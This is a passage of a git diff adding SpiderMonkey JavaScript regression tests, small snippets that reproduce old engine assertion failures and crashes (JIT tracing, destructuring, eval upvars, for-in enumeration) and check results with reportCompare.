+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+
+ function g(x) { if (1) function x() {} return x; }
+ print(actual = g(1) + '');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-06.js b/js/src/tests/non262/regress/regress-467495-06.js
new file mode 100644
index 0000000000..fc5ec361d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-06.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ var y = 1;
+ if (Math)
+ function x() { }
+ if (Math)
+ function y() { }
+ return [x, y];
+ }
+
+ var r = f(0);
+
+ if (typeof(r[0]) != "number")
+ actual += "Bad r[0]";
+
+ if (typeof(r[1]) != "function")
+ throw "Bad r[1]";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-468711.js b/js/src/tests/non262/regress/regress-468711.js
new file mode 100644
index 0000000000..a771e4c625
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-468711.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 468711;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (5).toString(); for (let b of [3, this]) { b.toString(); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469044.js b/js/src/tests/non262/regress/regress-469044.js
new file mode 100644
index 0000000000..6221106b65
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469044.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469044;
+var summary = 'type unstable globals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '---000---000';
+ actual = '';
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ print(actual += "---");
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '00000000';
+ actual = '';
+
+ print("");
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ actual = '';
+ print("");
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ Math;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/regress/regress-469239-01.js b/js/src/tests/non262/regress/regress-469239-01.js
new file mode 100644
index 0000000000..05de70dd91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469239-01.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for (let h of ['', 3, /x/]) {
+ for (c of [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469239-02.js b/js/src/tests/non262/regress/regress-469239-02.js
new file mode 100644
index 0000000000..b36cd76ce2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469239-02.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for (let h of [33, 3, /x/]) {
+ for (c of [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469547.js b/js/src/tests/non262/regress/regress-469547.js
new file mode 100644
index 0000000000..4cb0fc056a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469547.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469547;
+var summary = 'Do not crash with: for (let [,] of [[], [], null]) {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (let [,] of [[], [], null]) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469625-02.js b/js/src/tests/non262/regress/regress-469625-02.js
new file mode 100644
index 0000000000..03751d5b54
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469625-02.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'group assignment with rhs containing holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y';
+
+ Array.prototype[1] = 'y';
+ var [x, y, z] = ['x', , 'z'];
+
+ actual = y;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469625-03.js b/js/src/tests/non262/regress/regress-469625-03.js
new file mode 100644
index 0000000000..28dc11c5d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469625-03.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'Do not assert: script->objectsOffset != 0';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x) {
+ var [a, b, [c0, c1]] = [x, x, x];
+ }
+
+ expect = /TypeError: .*\[\.\.\.\]\[Symbol.iterator\]\(\)\.next\(\)\.value is null/;
+ actual = 'No Error';
+ try
+ {
+ f(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469758.js b/js/src/tests/non262/regress/regress-469758.js
new file mode 100644
index 0000000000..426f6010e2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469758.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var err;
+try {
+ {let i=1}
+ {let j=1; [][j][2]}
+} catch (e) {
+ err = e;
+}
+assertEq(err instanceof TypeError, true);
+assertEq(err.message.endsWith("[][j] is undefined"), true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-469937.js b/js/src/tests/non262/regress/regress-469937.js
new file mode 100644
index 0000000000..753735c15d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469937.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469937;
+var summary = 'Properties without DontEnum are sometimes not enumerated';
+var actual = false;
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){
+ var o = { }
+ o.PageLeft = 1;
+ o.Rect2 = 6;
+ delete o.Rect2;
+ for (var p in o);
+ o.Rect3 = 7;
+ found = false;
+ for (var p in o) if (p == 'Rect3') found = true;
+ actual = found;
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-470061.js b/js/src/tests/non262/regress/regress-470061.js
new file mode 100644
index 0000000000..5d2ae75815
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470061.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470061;
+var summary = 'TM: Do not assert: cx->fp->regs->pc == f->ip && f->root == f';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x (w, z) {
+ var h = 0;
+ var q = 0;
+ while (q < 300) {
+ while (w) {
+ }
+ ++q;
+ if (q % 4 == 1) {
+ h = Math.ceil(z);
+ }
+ }
+ }
+
+ x(false, 40);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470187-01.js b/js/src/tests/non262/regress/regress-470187-01.js
new file mode 100644
index 0000000000..c1f40b5449
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470187-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - /x/;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470187-02.js b/js/src/tests/non262/regress/regress-470187-02.js
new file mode 100644
index 0000000000..da8ab58396
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470187-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - [];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470223.js b/js/src/tests/non262/regress/regress-470223.js
new file mode 100644
index 0000000000..aea6f1310b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470223.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470223;
+var summary = 'TM: Do not crash @ js_NewObjectWithGivenProto';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F(A) {
+ for (R = [], s = 0; (m = A.indexOf("m", s++)) >= 0; )
+ R.push([m]);
+ for (i = R.length; i--; ) {
+ let r = R[i];
+ if (r[0]);
+ }
+ }
+ F("m"); F("mm");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470388-01.js b/js/src/tests/non262/regress/regress-470388-01.js
new file mode 100644
index 0000000000..13d22a5ecc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470388-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470388;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let x of [function(){}, new Boolean(false), function(){}]) {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470758-01.js b/js/src/tests/non262/regress/regress-470758-01.js
new file mode 100644
index 0000000000..b3d166ca2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470758-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Do not crash with eval upvars';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { var k; eval("for (var k in {});") })()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470758-02.js b/js/src/tests/non262/regress/regress-470758-02.js
new file mode 100644
index 0000000000..a0aa3ac000
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470758-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Promote evald initializer into upvar';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 5;
+
+ (function(){var x;eval("for (x = 0; x < 5; x++);");print(actual = x);})();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-471660.js b/js/src/tests/non262/regress/regress-471660.js
new file mode 100644
index 0000000000..a0fe35f3f7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-471660.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471660;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ y = {"a":1};
+
+ for (var w = 0; w < 5; ++w) {
+
+ { let y; do break ; while (true); }
+ for (let x of [{}, function(){}]) {y}
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-472533.js b/js/src/tests/non262/regress/regress-472533.js
new file mode 100644
index 0000000000..9a56df9d02
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-472533.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472533;
+var summary = 'Do not crash with loop, replace, regexp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 4; ++j) ''.replace('', /x/);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474769.js b/js/src/tests/non262/regress/regress-474769.js
new file mode 100644
index 0000000000..462a4432ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474769.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474769;
+var summary = 'TM: nested type-unstable for loops';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+
+ for (b of [1, 1, 1, 1.5, 1, 1]) {
+ (function() { for (let h of [0, 0, 1.4, ""]) {} })();
+ }
+ actual = b;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474771-01.js b/js/src/tests/non262/regress/regress-474771-01.js
new file mode 100644
index 0000000000..7971cc769d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474771-01.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for (let x of [6, 7]) { } print(actual = "PASS");
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474771.js b/js/src/tests/non262/regress/regress-474771.js
new file mode 100644
index 0000000000..4b3985edad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474771.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not halt execution with gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for (let x of [6, 7]) { } print(actual = "PASS");
+
+
+ delete Object.prototype.q;
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474935.js b/js/src/tests/non262/regress/regress-474935.js
new file mode 100644
index 0000000000..7e311156d7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474935.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474935;
+var summary = 'Do not assert: !ti->typeMap.matches(ti_other->typeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = ["", 0, 0, 0, 0, 0, "", "", 0, "", 0, ""];
+ var i = 0;
+ var g = 0;
+ for (let e of a) {
+ "" + [e];
+ if (i == 3 || i == 7) {
+ for (g of [1]) {
+ }
+ }
+ ++i;
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-475469.js b/js/src/tests/non262/regress/regress-475469.js
new file mode 100644
index 0000000000..ccca629408
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475469.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475469;
+var summary = 'TM: Do not crash @ FramePCOffset';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// print('Note this test originally required jit enabled with the environment ');
+// print('variable TRACEMONKEY=verbose defined. Note that the calls to enable ');
+// print('jit are necessary for the crash.');
+
+ [1,2,3].map(function(v, i, t) { return /a/gi.exec(v); });
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-475645-01.js b/js/src/tests/non262/regress/regress-475645-01.js
new file mode 100644
index 0000000000..04fb570bc5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475645-01.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ linkarr = new Array();
+ picarr = new Array();
+ textarr = new Array();
+ var f=161;
+ var t=27;
+ var pics = "";
+ var links = "";
+ var texts = "";
+ var s = f+t;
+ var d = "1";
+ picarr[2] = "2";
+ for(i=1;i<picarr.length;i++)
+ {
+ if(pics=="") pics = picarr[i];
+ else{
+ if(picarr[i].indexOf("jpg")==-1 && picarr[i].indexOf("JPG")==-1) picarr[i] = d;
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-475645-02.js b/js/src/tests/non262/regress/regress-475645-02.js
new file mode 100644
index 0000000000..bb8efa9a94
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475645-02.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof window != 'undefined')
+ {
+ var q = (function () { });
+ window.addEventListener("load", q, false);
+ window.onerror = q;
+ arr = new Array();
+ pic = r = new Array;
+ h = t = 7;
+ var pics = "";
+ pic[2] = "";
+ for (i=1; i < pic.length; i++)
+ {
+ try
+ {
+ if(pics=="")
+ pics=pic[i];
+ else
+ (pic[i]-1 & pic[i].i("") == 1);
+ }
+ catch(ex)
+ {
+ }
+ arr[i]='';
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-476049.js b/js/src/tests/non262/regress/regress-476049.js
new file mode 100644
index 0000000000..e3a4d10200
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476049.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476049;
+var summary = 'JSOP_DEFVAR enables gvar optimization for non-permanent properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// This test requires either two input files in the shell or two
+// script blocks in the browser.
+
+if (typeof window == 'undefined')
+{
+ print(expect = actual = 'Test skipped');
+}
+else
+{
+ document.write(
+ '<script type="text/javascript">' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' this["a"+i] = 0;' +
+ 'eval("var x");' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' delete this["a"+i];' +
+ '<\/script>'
+ );
+
+ document.write(
+ '<script type="text/javascript">' +
+ 'var x;' +
+ 'eval("delete x;");' +
+ 'x={};' +
+ '<\/script>'
+ );
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-476192.js b/js/src/tests/non262/regress/regress-476192.js
new file mode 100644
index 0000000000..f66a16f212
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476192.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
